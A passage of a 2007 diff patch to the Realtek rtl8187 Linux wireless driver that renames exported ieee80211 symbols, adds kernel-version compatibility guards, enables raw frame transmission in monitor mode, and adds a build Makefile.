(ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d 